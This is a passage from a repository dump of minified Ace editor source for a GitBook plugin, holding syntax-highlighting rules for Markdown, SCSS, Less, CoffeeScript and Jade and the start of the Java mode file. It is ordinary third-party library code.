x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),define(\"ace/mode/less_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|lighten|darken|saturate|desaturate|fadein|fadeout|fade|spin|mix|hue|saturation|lightness|alpha|round|ceil|floor|percentage|color|iscolor|isnumber|isstring|iskeyword|isurl|ispixel|ispercentage|isem\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare|when|not|and\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:function(e){return s.hasOwnProperty(e)?\"keyword\":\"variable\"},regex:\"@[a-z0-9_\\\\-@]*\\\\b\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z_][a-z0-9-_]*\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]}};r.inherits(o,s),t.LessHighlightRules=o}),define(\"ace/mode/coffee_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=\"[$A-Za-z_\\\\x7f-\\\\uffff][$\\\\w\\\\x7f-\\\\uffff]*\",t=\"this|throw|then|try|typeof|super|switch|return|break|by|continue|catch|class|in|instanceof|is|isnt|if|else|extends|for|own|finally|function|while|when|new|no|not|delete|debugger|do|loop|of|off|or|on|unless|until|and|yes\",n=\"true|false|null|undefined|NaN|Infinity\",r=\"case|const|default|function|var|void|with|enum|export|implements|interface|let|package|private|protected|public|static|yield|__hasProp|slice|bind|indexOf\",i=\"Array|Boolean|Date|Function|Number|Object|RegExp|ReferenceError|String|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray\",s=\"Math|JSON|isNaN|isFinite|parseInt|parseFloat|encodeURI|encodeURIComponent|decodeURI|decodeURIComponent|String|\",o=\"window|arguments|prototype|document\",u=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"invalid.illegal\":r,\"language.support.class\":i,\"language.support.function\":s,\"variable.language\":o},\"identifier\"),a={token:[\"paren.lparen\",\"variable.parameter\",\"paren.rparen\",\"text\",\"storage.type\"],regex:/(?:(\\()((?:\"[^\")]*?\"|'[^')]*?'|\\/[^\\/)]*?\\/|[^()\\\"'\\/])*?)(\\))(\\s*))?([\\-=]>)/.source},f=/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)/;this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F]+|(?:\\\\d+(?:\\\\.\\\\d+)?|\\\\.\\\\d+)(?:[eE][+-]?\\\\d+)?)\"},{stateName:\"qdoc\",token:\"string\",regex:\"'''\",next:[{token:\"string\",regex:\"'''\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqdoc\",token:\"string\",regex:'\"\"\"',next:[{token:\"string\",regex:'\"\"\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qstring\",token:\"string\",regex:\"'\",next:[{token:\"string\",regex:\"'\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"js\",token:\"string\",regex:\"`\",next:[{token:\"string\",regex:\"`\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{regex:\"[{}]\",onMatch:function(e,t,n){this.next=\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift()||\"\";if(this.next.indexOf(\"string\")!=-1)return\"paren.string\"}return\"paren\"}},{token:\"string.regex\",regex:\"///\",next:\"heregex\"},{token:\"string.regex\",regex:/(?:\\/(?![\\s=])[^[\\/\\n\\\\]*(?:(?:\\\\[\\s\\S]|\\[[^\\]\\n\\\\]*(?:\\\\[\\s\\S][^\\]\\n\\\\]*)*])[^[\\/\\n\\\\]*)*\\/)(?:[imgy]{0,4})(?!\\w)/},{token:\"comment\",regex:\"###(?!#)\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:[\"punctuation.operator\",\"text\",\"identifier\"],regex:\"(\\\\.)(\\\\s*)(\"+r+\")\"},{token:\"punctuation.operator\",regex:\"\\\\.{1,3}\"},{token:[\"keyword\",\"text\",\"language.support.class\",\"text\",\"keyword\",\"text\",\"language.support.class\"],regex:\"(class)(\\\\s+)(\"+e+\")(?:(\\\\s+)(extends)(\\\\s+)(\"+e+\"))?\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\"].concat(a.token),regex:\"(\"+e+\")(\\\\s*)([=:])(\\\\s*)\"+a.regex},a,{token:\"variable\",regex:\"@(?:\"+e+\")?\"},{token:u,regex:e},{token:\"punctuation.operator\",regex:\"\\\\,|\\\\.\"},{token:\"storage.type\",regex:\"[\\\\-=]>\"},{token:\"keyword.operator\",regex:\"(?:[-+*/%<>&|^!?=]=|>>>=?|\\\\-\\\\-|\\\\+\\\\+|::|&&=|\\\\|\\\\|=|<<=|>>=|\\\\?\\\\.|\\\\.{2,3}|[!*+-=><])\"},{token:\"paren.lparen\",regex:\"[({[]\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?///[imgy]{0,4}\",next:\"start\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{token:\"string.regex\",regex:\"\\\\S+\"}],comment:[{token:\"comment\",regex:\"###\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.CoffeeHighlightRules=s}),define(\"ace/mode/jade_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/scss_highlight_rules\",\"ace/mode/less_highlight_rules\",\"ace/mode/coffee_highlight_rules\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){\"use strict\";function l(e,t){return{token:\"entity.name.function.jade\",regex:\"^\\\\s*\\\\:\"+e,next:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,o=e(\"./scss_highlight_rules\").ScssHighlightRules,u=e(\"./less_highlight_rules\").LessHighlightRules,a=e(\"./coffee_highlight_rules\").CoffeeHighlightRules,f=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,c=function(){var e=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={start:[{token:\"keyword.control.import.include.jade\",regex:\"\\\\s*\\\\binclude\\\\b\"},{token:\"keyword.other.doctype.jade\",regex:\"^!!!\\\\s*(?:[a-zA-Z0-9-_]+)?\"},{token:\"punctuation.section.comment\",regex:\"^\\\\s*//(?:\\\\s*[^-\\\\s]|\\\\s+\\\\S)(?:.*$)\"},{onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/^\\s*\\/\\//,next:\"comment_block\"},l(\"markdown\",\"markdown-\"),l(\"sass\",\"sass-\"),l(\"less\",\"less-\"),l(\"coffee\",\"coffee-\"),{token:[\"storage.type.function.jade\",\"entity.name.function.jade\",\"punctuation.definition.parameters.begin.jade\",\"variable.parameter.function.jade\",\"punctuation.definition.parameters.end.jade\"],regex:\"^(\\\\s*mixin)( [\\\\w\\\\-]+)(\\\\s*\\\\()(.*?)(\\\\))\"},{token:[\"storage.type.function.jade\",\"entity.name.function.jade\"],regex:\"^(\\\\s*mixin)( [\\\\w\\\\-]+)\"},{token:\"source.js.embedded.jade\",regex:\"^\\\\s*(?:-|=|!=)\",next:\"js-start\"},{token:\"string.interpolated.jade\",regex:\"[#!]\\\\{[^\\\\}]+\\\\}\"},{token:\"meta.tag.any.jade\",regex:/^\\s*(?!\\w+\\:)(?:[\\w-]+|(?=\\.|#)])/,next:\"tag_single\"},{token:\"suport.type.attribute.id.jade\",regex:\"#\\\\w+\"},{token:\"suport.type.attribute.class.jade\",regex:\"\\\\.\\\\w+\"},{token:\"punctuation\",regex:\"\\\\s*(?:\\\\()\",next:\"tag_attributes\"}],comment_block:[{regex:/^\\s*/,onMatch:function(e,t,n){return e.length<=n[1]?(n.shift(),n.shift(),this.next=n.shift(),\"text\"):(this.next=\"\",\"comment\")},next:\"start\"},{defaultToken:\"comment\"}],tag_single:[{token:\"entity.other.attribute-name.class.jade\",regex:\"\\\\.[\\\\w-]+\"},{token:\"entity.other.attribute-name.id.jade\",regex:\"#[\\\\w-]+\"},{token:[\"text\",\"punctuation\"],regex:\"($)|((?!\\\\.|#|=|-))\",next:\"start\"}],tag_attributes:[{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:[\"entity.other.attribute-name.jade\",\"punctuation\"],regex:\"([a-zA-Z:\\\\.-]+)(=)?\",next:\"attribute_strings\"},{token:\"punctuation\",regex:\"\\\\)\",next:\"start\"}],attribute_strings:[{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"string\",regex:\"(?=\\\\S)\",next:\"tag_attributes\"}],qqstring:[{token:\"constant.language.escape\",regex:e},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"tag_attributes\"}],qstring:[{token:\"constant.language.escape\",regex:e},{token:\"string\",regex:\"[^'\\\\\\\\]+\"},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"tag_attributes\"}]},this.embedRules(f,\"js-\",[{token:\"text\",regex:\".$\",next:\"start\"}])};r.inherits(c,i),t.JadeHighlightRules=c}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/jade\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jade_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jade_highlight_rules\").JadeHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/jade\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-java.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var 